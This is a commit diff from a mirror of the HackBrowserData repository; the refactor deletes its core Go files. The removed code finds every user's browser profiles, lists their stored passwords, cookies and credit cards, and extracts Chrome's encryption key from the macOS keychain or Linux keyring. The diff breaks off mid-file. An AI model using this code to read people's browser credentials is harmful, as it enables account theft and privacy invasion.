mirror of
https://github.com/moonD4rk/HackBrowserData
synced 2025-01-30 02:12:42 +00:00
feat: format project layout
This commit is contained in:
parent
f8b1de4666
commit
1c81220967
374
core/browser.go
374
core/browser.go
@ -1,374 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"hack-browser-data/core/data"
|
||||
"hack-browser-data/internal/log"
|
||||
)
|
||||
|
||||
const (
|
||||
chromeName = "Chrome"
|
||||
chromeBetaName = "Chrome Beta"
|
||||
chromiumName = "Chromium"
|
||||
edgeName = "Microsoft Edge"
|
||||
firefoxName = "Firefox"
|
||||
firefoxBetaName = "Firefox Beta"
|
||||
firefoxDevName = "Firefox Dev"
|
||||
firefoxNightlyName = "Firefox Nightly"
|
||||
firefoxESRName = "Firefox ESR"
|
||||
speed360Name = "360speed"
|
||||
qqBrowserName = "qq"
|
||||
braveName = "Brave"
|
||||
operaName = "Opera"
|
||||
operaGXName = "OperaGX"
|
||||
vivaldiName = "Vivaldi"
|
||||
coccocName = "CocCoc"
|
||||
yandexName = "Yandex"
|
||||
)
|
||||
|
||||
type Browser interface {
|
||||
// InitSecretKey is init chrome secret key, firefox's key always empty
|
||||
InitSecretKey() error
|
||||
|
||||
// GetName return browser name
|
||||
GetName() string
|
||||
|
||||
// GetSecretKey return browser secret key
|
||||
GetSecretKey() []byte
|
||||
|
||||
// GetAllItems return all items (password|bookmark|cookie|history)
|
||||
GetAllItems() ([]data.Item, error)
|
||||
|
||||
// GetItem return single one from the password|bookmark|cookie|history
|
||||
GetItem(itemName string) (data.Item, error)
|
||||
}
|
||||
|
||||
const (
|
||||
cookie = "cookie"
|
||||
history = "history"
|
||||
bookmark = "bookmark"
|
||||
download = "download"
|
||||
password = "password"
|
||||
creditcard = "creditcard"
|
||||
)
|
||||
|
||||
var (
|
||||
errItemNotSupported = errors.New(`item not supported, default is "all", choose from history|download|password|bookmark|cookie`)
|
||||
errBrowserNotSupported = errors.New("browser not supported")
|
||||
errChromeSecretIsEmpty = errors.New("chrome secret is empty")
|
||||
errDbusSecretIsEmpty = errors.New("dbus secret key is empty")
|
||||
)
|
||||
|
||||
var (
|
||||
chromiumItems = map[string]struct {
|
||||
mainFile string
|
||||
newItem func(mainFile, subFile string) data.Item
|
||||
}{
|
||||
bookmark: {
|
||||
mainFile: data.ChromeBookmarkFile,
|
||||
newItem: data.NewBookmarks,
|
||||
},
|
||||
cookie: {
|
||||
mainFile: data.ChromeCookieFile,
|
||||
newItem: data.NewCookies,
|
||||
},
|
||||
history: {
|
||||
mainFile: data.ChromeHistoryFile,
|
||||
newItem: data.NewHistoryData,
|
||||
},
|
||||
download: {
|
||||
mainFile: data.ChromeDownloadFile,
|
||||
newItem: data.NewDownloads,
|
||||
},
|
||||
password: {
|
||||
mainFile: data.ChromePasswordFile,
|
||||
newItem: data.NewCPasswords,
|
||||
},
|
||||
creditcard: {
|
||||
mainFile: data.ChromeCreditFile,
|
||||
newItem: data.NewCCards,
|
||||
},
|
||||
}
|
||||
firefoxItems = map[string]struct {
|
||||
mainFile string
|
||||
subFile string
|
||||
newItem func(mainFile, subFile string) data.Item
|
||||
}{
|
||||
bookmark: {
|
||||
mainFile: data.FirefoxDataFile,
|
||||
newItem: data.NewBookmarks,
|
||||
},
|
||||
cookie: {
|
||||
mainFile: data.FirefoxCookieFile,
|
||||
newItem: data.NewCookies,
|
||||
},
|
||||
history: {
|
||||
mainFile: data.FirefoxDataFile,
|
||||
newItem: data.NewHistoryData,
|
||||
},
|
||||
download: {
|
||||
mainFile: data.FirefoxDataFile,
|
||||
newItem: data.NewDownloads,
|
||||
},
|
||||
password: {
|
||||
mainFile: data.FirefoxKey4File,
|
||||
subFile: data.FirefoxLoginFile,
|
||||
newItem: data.NewFPasswords,
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
type Chromium struct {
|
||||
name string
|
||||
profilePath string
|
||||
keyPath string
|
||||
storage string // storage use for linux and macOS, get secret key
|
||||
secretKey []byte
|
||||
}
|
||||
|
||||
// NewChromium return Chromium browser interface
|
||||
func NewChromium(profile, key, name, storage string) (Browser, error) {
|
||||
return &Chromium{profilePath: profile, keyPath: key, name: name, storage: storage}, nil
|
||||
}
|
||||
|
||||
func (c *Chromium) GetName() string {
|
||||
return c.name
|
||||
}
|
||||
|
||||
func (c *Chromium) GetSecretKey() []byte {
|
||||
return c.secretKey
|
||||
}
|
||||
|
||||
// GetAllItems return all chromium items from browser
|
||||
// if can't find the item path, log error then continue
|
||||
func (c *Chromium) GetAllItems() ([]data.Item, error) {
|
||||
var items []data.Item
|
||||
for item, choice := range chromiumItems {
|
||||
m, err := getItemPath(c.profilePath, choice.mainFile)
|
||||
if err != nil {
|
||||
log.Debugf("%s find %s file failed, ERR:%s", c.name, item, err)
|
||||
continue
|
||||
}
|
||||
i := choice.newItem(m, "")
|
||||
log.Debugf("%s find %s File Success", c.name, item)
|
||||
items = append(items, i)
|
||||
}
|
||||
return items, nil
|
||||
}
|
||||
|
||||
// GetItem return single item
|
||||
func (c *Chromium) GetItem(itemName string) (data.Item, error) {
|
||||
itemName = strings.ToLower(itemName)
|
||||
if item, ok := chromiumItems[itemName]; ok {
|
||||
m, err := getItemPath(c.profilePath, item.mainFile)
|
||||
if err != nil {
|
||||
log.Debugf("%s find %s file failed, ERR:%s", c.name, item.mainFile, err)
|
||||
}
|
||||
i := item.newItem(m, "")
|
||||
return i, nil
|
||||
} else {
|
||||
return nil, errItemNotSupported
|
||||
}
|
||||
}
|
||||
|
||||
type Firefox struct {
|
||||
name string
|
||||
profilePath string
|
||||
keyPath string
|
||||
}
|
||||
|
||||
// NewFirefox return firefox browser interface
|
||||
func NewFirefox(profile, key, name, storage string) (Browser, error) {
|
||||
return &Firefox{profilePath: profile, keyPath: key, name: name}, nil
|
||||
}
|
||||
|
||||
// GetAllItems return all item with firefox
|
||||
func (f *Firefox) GetAllItems() ([]data.Item, error) {
|
||||
var items []data.Item
|
||||
for item, choice := range firefoxItems {
|
||||
var (
|
||||
sub, main string
|
||||
err error
|
||||
)
|
||||
if choice.subFile != "" {
|
||||
sub, err = getItemPath(f.profilePath, choice.subFile)
|
||||
if err != nil {
|
||||
log.Debugf("%s find %s file failed, ERR:%s", f.name, item, err)
|
||||
continue
|
||||
}
|
||||
}
|
||||
main, err = getItemPath(f.profilePath, choice.mainFile)
|
||||
if err != nil {
|
||||
log.Debugf("%s find %s file failed, ERR:%s", f.name, item, err)
|
||||
continue
|
||||
}
|
||||
i := choice.newItem(main, sub)
|
||||
log.Debugf("%s find %s file success", f.name, item)
|
||||
items = append(items, i)
|
||||
}
|
||||
return items, nil
|
||||
}
|
||||
|
||||
func (f *Firefox) GetItem(itemName string) (data.Item, error) {
|
||||
itemName = strings.ToLower(itemName)
|
||||
if item, ok := firefoxItems[itemName]; ok {
|
||||
var (
|
||||
sub, main string
|
||||
err error
|
||||
)
|
||||
if item.subFile != "" {
|
||||
sub, err = getItemPath(f.profilePath, item.subFile)
|
||||
if err != nil {
|
||||
log.Debugf("%s find %s file failed, ERR:%s", f.name, item.subFile, err)
|
||||
}
|
||||
}
|
||||
main, err = getItemPath(f.profilePath, item.mainFile)
|
||||
if err != nil {
|
||||
log.Debugf("%s find %s file failed, ERR:%s", f.name, item.mainFile, err)
|
||||
}
|
||||
i := item.newItem(main, sub)
|
||||
log.Debugf("%s find %s file success", f.name, item.mainFile)
|
||||
return i, nil
|
||||
} else {
|
||||
return nil, errItemNotSupported
|
||||
}
|
||||
}
|
||||
|
||||
func (f *Firefox) GetName() string {
|
||||
return f.name
|
||||
}
|
||||
|
||||
// GetSecretKey for firefox is always nil
|
||||
// this method used to implement Browser interface
|
||||
func (f *Firefox) GetSecretKey() []byte {
|
||||
return nil
|
||||
}
|
||||
|
||||
// InitSecretKey for firefox is always nil
|
||||
// this method used to implement Browser interface
|
||||
func (f *Firefox) InitSecretKey() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// PickBrowser return a list of browser interface
|
||||
func PickBrowser(name string) ([]Browser, error) {
|
||||
var browsers []Browser
|
||||
name = strings.ToLower(name)
|
||||
if name == "all" {
|
||||
for _, v := range browserList {
|
||||
b, err := v.New(v.ProfilePath, v.KeyPath, v.Name, v.Storage)
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
}
|
||||
browsers = append(browsers, b)
|
||||
}
|
||||
return browsers, nil
|
||||
} else if choice, ok := browserList[name]; ok {
|
||||
b, err := choice.New(choice.ProfilePath, choice.KeyPath, choice.Name, choice.Storage)
|
||||
browsers = append(browsers, b)
|
||||
return browsers, err
|
||||
}
|
||||
return nil, errBrowserNotSupported
|
||||
}
|
||||
|
||||
// PickCustomBrowser pick single browser with custom browser profile path and key file path (windows only).
|
||||
// If custom key file path is empty, but the current browser requires key file (chromium for windows version > 80)
|
||||
// key file path will be automatically found in the profile path's parent directory.
|
||||
func PickCustomBrowser(browserName, cusProfile, cusKey string) ([]Browser, error) {
|
||||
var (
|
||||
browsers []Browser
|
||||
)
|
||||
browserName = strings.ToLower(browserName)
|
||||
supportBrowser := strings.Join(ListBrowser(), "|")
|
||||
if browserName == "all" {
|
||||
return nil, fmt.Errorf("can't select all browser, pick one from %s with -b flag\n", supportBrowser)
|
||||
}
|
||||
if choice, ok := browserList[browserName]; ok {
|
||||
// if this browser need key path
|
||||
if choice.KeyPath != "" {
|
||||
var err error
|
||||
// if browser need key path and cusKey is empty, try to get key path with profile dir
|
||||
if cusKey == "" {
|
||||
cusKey, err = getKeyPath(cusProfile)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if err := checkKeyPath(cusKey); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
b, err := choice.New(cusProfile, cusKey, choice.Name, choice.Storage)
|
||||
browsers = append(browsers, b)
|
||||
return browsers, err
|
||||
} else {
|
||||
return nil, fmt.Errorf("%s not support, pick one from %s with -b flag\n", browserName, supportBrowser)
|
||||
}
|
||||
}
|
||||
|
||||
func getItemPath(profilePath, file string) (string, error) {
|
||||
p, err := filepath.Glob(filepath.Join(profilePath, file))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if len(p) > 0 {
|
||||
return p[0], nil
|
||||
}
|
||||
return "", fmt.Errorf("find %s failed", file)
|
||||
}
|
||||
|
||||
// getKeyPath try to get key file path with the browser's profile path
|
||||
// default key file path is in the parent directory of the profile dir, and name is [Local State]
|
||||
func getKeyPath(profilePath string) (string, error) {
|
||||
if _, err := os.Stat(filepath.Clean(profilePath)); os.IsNotExist(err) {
|
||||
return "", err
|
||||
}
|
||||
parentDir := getParentDirectory(profilePath)
|
||||
keyPath := filepath.Join(parentDir, "Local State")
|
||||
return keyPath, nil
|
||||
}
|
||||
|
||||
// check key file path is exist
|
||||
func checkKeyPath(keyPath string) error {
|
||||
if _, err := os.Stat(keyPath); os.IsNotExist(err) {
|
||||
return fmt.Errorf("secret key path not exist, please check %s", keyPath)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func getParentDirectory(dir string) string {
|
||||
var (
|
||||
length int
|
||||
)
|
||||
// filepath.Clean(dir) auto remove
|
||||
dir = strings.ReplaceAll(filepath.Clean(dir), `\`, `/`)
|
||||
length = strings.LastIndex(dir, "/")
|
||||
if length > 0 {
|
||||
if length > len([]rune(dir)) {
|
||||
length = len([]rune(dir))
|
||||
}
|
||||
return string([]rune(dir)[:length])
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func ListBrowser() []string {
|
||||
var l []string
|
||||
for k := range browserList {
|
||||
l = append(l, k)
|
||||
}
|
||||
return l
|
||||
}
|
||||
|
||||
func ListItem() []string {
|
||||
var l []string
|
||||
for k := range chromiumItems {
|
||||
l = append(l, k)
|
||||
}
|
||||
return l
|
||||
}
|
@ -1,165 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha1"
|
||||
"errors"
|
||||
"os/exec"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
const (
|
||||
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release*/"
|
||||
fireFoxBetaProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-beta*/"
|
||||
fireFoxDevProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.dev-edition-default*/"
|
||||
fireFoxNightlyProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-nightly*/"
|
||||
fireFoxESRProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-esr*/"
|
||||
chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/"
|
||||
chromeBetaProfilePath = "/Users/*/Library/Application Support/Google/Chrome Beta/*/"
|
||||
chromiumProfilePath = "/Users/*/Library/Application Support/Chromium/*/"
|
||||
edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/"
|
||||
braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/"
|
||||
operaProfilePath = "/Users/*/Library/Application Support/com.operasoftware.Opera/"
|
||||
operaGXProfilePath = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/"
|
||||
vivaldiProfilePath = "/Users/*/Library/Application Support/Vivaldi/*/"
|
||||
coccocProfilePath = "/Users/*/Library/Application Support/Coccoc/*/"
|
||||
yandexProfilePath = "/Users/*/Library/Application Support/Yandex/YandexBrowser/*/"
|
||||
)
|
||||
|
||||
const (
|
||||
chromeStorageName = "Chrome"
|
||||
chromeBetaStorageName = "Chrome"
|
||||
chromiumStorageName = "Chromium"
|
||||
edgeStorageName = "Microsoft Edge"
|
||||
braveStorageName = "Brave"
|
||||
operaStorageName = "Opera"
|
||||
vivaldiStorageName = "Vivaldi"
|
||||
coccocStorageName = "CocCoc"
|
||||
yandexStorageName = "Yandex"
|
||||
)
|
||||
|
||||
var (
|
||||
browserList = map[string]struct {
|
||||
ProfilePath string
|
||||
Name string
|
||||
KeyPath string
|
||||
Storage string
|
||||
New func(profile, key, name, storage string) (Browser, error)
|
||||
}{
|
||||
"firefox": {
|
||||
ProfilePath: fireFoxProfilePath,
|
||||
Name: firefoxName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"firefox-beta": {
|
||||
ProfilePath: fireFoxBetaProfilePath,
|
||||
Name: firefoxBetaName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"firefox-dev": {
|
||||
ProfilePath: fireFoxDevProfilePath,
|
||||
Name: firefoxDevName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"firefox-nightly": {
|
||||
ProfilePath: fireFoxNightlyProfilePath,
|
||||
Name: firefoxNightlyName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"firefox-esr": {
|
||||
ProfilePath: fireFoxESRProfilePath,
|
||||
Name: firefoxESRName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"chrome": {
|
||||
ProfilePath: chromeProfilePath,
|
||||
Name: chromeName,
|
||||
Storage: chromeStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"chromium": {
|
||||
ProfilePath: chromiumProfilePath,
|
||||
Name: chromiumName,
|
||||
Storage: chromiumStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"edge": {
|
||||
ProfilePath: edgeProfilePath,
|
||||
Name: edgeName,
|
||||
Storage: edgeStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"brave": {
|
||||
ProfilePath: braveProfilePath,
|
||||
Name: braveName,
|
||||
Storage: braveStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"chrome-beta": {
|
||||
ProfilePath: chromeBetaProfilePath,
|
||||
Name: chromeBetaName,
|
||||
Storage: chromeBetaStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"opera": {
|
||||
ProfilePath: operaProfilePath,
|
||||
Name: operaName,
|
||||
Storage: operaStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"opera-gx": {
|
||||
ProfilePath: operaGXProfilePath,
|
||||
Name: operaGXName,
|
||||
Storage: operaStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"vivaldi": {
|
||||
ProfilePath: vivaldiProfilePath,
|
||||
Name: vivaldiName,
|
||||
Storage: vivaldiStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"coccoc": {
|
||||
ProfilePath: coccocProfilePath,
|
||||
Name: coccocName,
|
||||
Storage: coccocStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"yandex": {
|
||||
ProfilePath: yandexProfilePath,
|
||||
Name: yandexName,
|
||||
Storage: yandexStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
func (c *Chromium) InitSecretKey() error {
|
||||
var (
|
||||
cmd *exec.Cmd
|
||||
stdout, stderr bytes.Buffer
|
||||
)
|
||||
// ➜ security find-generic-password -wa 'Chrome'
|
||||
cmd = exec.Command("security", "find-generic-password", "-wa", c.storage)
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
err := cmd.Run()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if stderr.Len() > 0 {
|
||||
err = errors.New(stderr.String())
|
||||
return err
|
||||
}
|
||||
temp := stdout.Bytes()
|
||||
chromeSecret := temp[:len(temp)-1]
|
||||
if chromeSecret == nil {
|
||||
return errChromeSecretIsEmpty
|
||||
}
|
||||
var chromeSalt = []byte("saltysalt")
|
||||
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
|
||||
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
|
||||
c.secretKey = key
|
||||
return nil
|
||||
}
|
@ -1,167 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"crypto/sha1"
|
||||
|
||||
"github.com/godbus/dbus/v5"
|
||||
keyring "github.com/ppacher/go-dbus-keyring"
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
|
||||
"hack-browser-data/internal/log"
|
||||
)
|
||||
|
||||
const (
|
||||
fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release*/"
|
||||
fireFoxBetaProfilePath = "/home/*/.mozilla/firefox/*.default-beta*/"
|
||||
fireFoxDevProfilePath = "/home/*/.mozilla/firefox/*.dev-edition-default*/"
|
||||
fireFoxNightlyProfilePath = "/home/*/.mozilla/firefox/*.default-nightly*/"
|
||||
fireFoxESRProfilePath = "/home/*/.mozilla/firefox/*.default-esr*/"
|
||||
chromeProfilePath = "/home/*/.config/google-chrome/*/"
|
||||
chromiumProfilePath = "/home/*/.config/chromium/*/"
|
||||
edgeProfilePath = "/home/*/.config/microsoft-edge*/*/"
|
||||
braveProfilePath = "/home/*/.config/BraveSoftware/Brave-Browser/*/"
|
||||
chromeBetaProfilePath = "/home/*/.config/google-chrome-beta/*/"
|
||||
operaProfilePath = "/home/*/.config/opera/"
|
||||
vivaldiProfilePath = "/home/*/.config/vivaldi/*/"
|
||||
)
|
||||
|
||||
const (
|
||||
chromeStorageName = "Chrome Safe Storage"
|
||||
chromiumStorageName = "Chromium Safe Storage"
|
||||
edgeStorageName = "Chromium Safe Storage"
|
||||
braveStorageName = "Brave Safe Storage"
|
||||
chromeBetaStorageName = "Chrome Safe Storage"
|
||||
operaStorageName = "Chromium Safe Storage"
|
||||
vivaldiStorageName = "Chrome Safe Storage"
|
||||
)
|
||||
|
||||
var (
|
||||
browserList = map[string]struct {
|
||||
ProfilePath string
|
||||
Name string
|
||||
KeyPath string
|
||||
Storage string
|
||||
New func(profile, key, name, storage string) (Browser, error)
|
||||
}{
|
||||
"firefox": {
|
||||
ProfilePath: fireFoxProfilePath,
|
||||
Name: firefoxName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"firefox-beta": {
|
||||
ProfilePath: fireFoxBetaProfilePath,
|
||||
Name: firefoxBetaName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"firefox-dev": {
|
||||
ProfilePath: fireFoxDevProfilePath,
|
||||
Name: firefoxDevName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"firefox-nightly": {
|
||||
ProfilePath: fireFoxNightlyProfilePath,
|
||||
Name: firefoxNightlyName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"firefox-esr": {
|
||||
ProfilePath: fireFoxESRProfilePath,
|
||||
Name: firefoxESRName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"chrome": {
|
||||
ProfilePath: chromeProfilePath,
|
||||
Name: chromeName,
|
||||
Storage: chromeStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"edge": {
|
||||
ProfilePath: edgeProfilePath,
|
||||
Name: edgeName,
|
||||
Storage: edgeStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"brave": {
|
||||
ProfilePath: braveProfilePath,
|
||||
Name: braveName,
|
||||
Storage: braveStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"chrome-beta": {
|
||||
ProfilePath: chromeBetaProfilePath,
|
||||
Name: chromeBetaName,
|
||||
Storage: chromeBetaStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"chromium": {
|
||||
ProfilePath: chromiumProfilePath,
|
||||
Name: chromiumName,
|
||||
Storage: chromiumStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"opera": {
|
||||
ProfilePath: operaProfilePath,
|
||||
Name: operaName,
|
||||
Storage: operaStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"vivaldi": {
|
||||
ProfilePath: vivaldiProfilePath,
|
||||
Name: vivaldiName,
|
||||
Storage: vivaldiStorageName,
|
||||
New: NewChromium,
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
func (c *Chromium) InitSecretKey() error {
|
||||
// what is d-bus @https://dbus.freedesktop.org/
|
||||
var chromeSecret []byte
|
||||
conn, err := dbus.SessionBus()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
svc, err := keyring.GetSecretService(conn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
session, err := svc.OpenSession()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer func() {
|
||||
session.Close()
|
||||
}()
|
||||
collections, err := svc.GetAllCollections()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, col := range collections {
|
||||
items, err := col.GetAllItems()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, item := range items {
|
||||
label, err := item.GetLabel()
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
continue
|
||||
}
|
||||
if label == c.storage {
|
||||
se, err := item.GetSecret(session.Path())
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
return err
|
||||
}
|
||||
chromeSecret = se.Value
|
||||
}
|
||||
}
|
||||
}
|
||||
if chromeSecret == nil {
|
||||
return errDbusSecretIsEmpty
|
||||
}
|
||||
var chromeSalt = []byte("saltysalt")
|
||||
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc
|
||||
key := pbkdf2.Key(chromeSecret, chromeSalt, 1, 16, sha1.New)
|
||||
c.secretKey = key
|
||||
return nil
|
||||
}
|
@ -1,178 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"hack-browser-data/core/decrypt"
|
||||
"hack-browser-data/internal/utils"
|
||||
|
||||
"github.com/tidwall/gjson"
|
||||
)
|
||||
|
||||
const (
|
||||
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release*/"
|
||||
fireFoxBetaProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-beta*/"
|
||||
fireFoxDevProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.dev-edition-default*/"
|
||||
fireFoxNightlyProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-nightly*/"
|
||||
fireFoxESRProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-esr*/"
|
||||
chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/"
|
||||
chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State"
|
||||
chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/"
|
||||
chromeBetaKeyPath = "/AppData/Local/Google/Chrome Beta/User Data/Local State"
|
||||
chromiumProfilePath = "/AppData/Local/Chromium/User Data/*/"
|
||||
chromiumKeyPath = "/AppData/Local/Chromium/User Data/Local State"
|
||||
edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/"
|
||||
edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State"
|
||||
braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/"
|
||||
braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State"
|
||||
speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/"
|
||||
qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/"
|
||||
operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/"
|
||||
operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State"
|
||||
operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/"
|
||||
operaGXKeyPath = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State"
|
||||
vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/"
|
||||
vivaldiKeyPath = "/AppData/Local/Vivaldi/Local State"
|
||||
coccocProfilePath = "/AppData/Local/CocCoc/Browser/User Data/Default/"
|
||||
coccocKeyPath = "/AppData/Local/CocCoc/Browser/Local State"
|
||||
yandexProfilePath = "/AppData/Local/Yandex/YandexBrowser/User Data/Default"
|
||||
yandexKeyPath = "/AppData/Local/Yandex/YandexBrowser/Local State"
|
||||
)
|
||||
|
||||
var (
|
||||
browserList = map[string]struct {
|
||||
ProfilePath string
|
||||
Name string
|
||||
KeyPath string
|
||||
Storage string
|
||||
New func(profile, key, name, storage string) (Browser, error)
|
||||
}{
|
||||
"firefox": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath,
|
||||
Name: firefoxName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"firefox-beta": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + fireFoxBetaProfilePath,
|
||||
Name: firefoxBetaName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"firefox-dev": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + fireFoxDevProfilePath,
|
||||
Name: firefoxDevName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"firefox-nightly": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + fireFoxNightlyProfilePath,
|
||||
Name: firefoxNightlyName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"firefox-esr": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + fireFoxESRProfilePath,
|
||||
Name: firefoxESRName,
|
||||
New: NewFirefox,
|
||||
},
|
||||
"chrome": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath,
|
||||
KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath,
|
||||
Name: chromeName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"chrome-beta": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + chromeBetaProfilePath,
|
||||
KeyPath: os.Getenv("USERPROFILE") + chromeBetaKeyPath,
|
||||
Name: chromeBetaName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"chromium": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + chromiumProfilePath,
|
||||
KeyPath: os.Getenv("USERPROFILE") + chromiumKeyPath,
|
||||
Name: chromiumName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"edge": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + edgeProfilePath,
|
||||
KeyPath: os.Getenv("USERPROFILE") + edgeKeyPath,
|
||||
Name: edgeName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"360": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + speed360ProfilePath,
|
||||
Name: speed360Name,
|
||||
New: NewChromium,
|
||||
},
|
||||
"qq": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + qqBrowserProfilePath,
|
||||
Name: qqBrowserName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"brave": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath,
|
||||
KeyPath: os.Getenv("USERPROFILE") + braveKeyPath,
|
||||
Name: braveName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"opera": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + operaProfilePath,
|
||||
KeyPath: os.Getenv("USERPROFILE") + operaKeyPath,
|
||||
Name: operaName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"opera-gx": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + operaGXProfilePath,
|
||||
KeyPath: os.Getenv("USERPROFILE") + operaGXKeyPath,
|
||||
Name: operaGXName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"vivaldi": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + vivaldiProfilePath,
|
||||
KeyPath: os.Getenv("USERPROFILE") + vivaldiKeyPath,
|
||||
Name: vivaldiName,
|
||||
New: NewChromium,
|
||||
},
|
||||
"coccoc": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + coccocProfilePath,
|
||||
KeyPath: os.Getenv("USERPROFILE") + coccocKeyPath,
|
||||
Name: coccocName,
|
||||
New: NewChromium,
|
||||
},
|
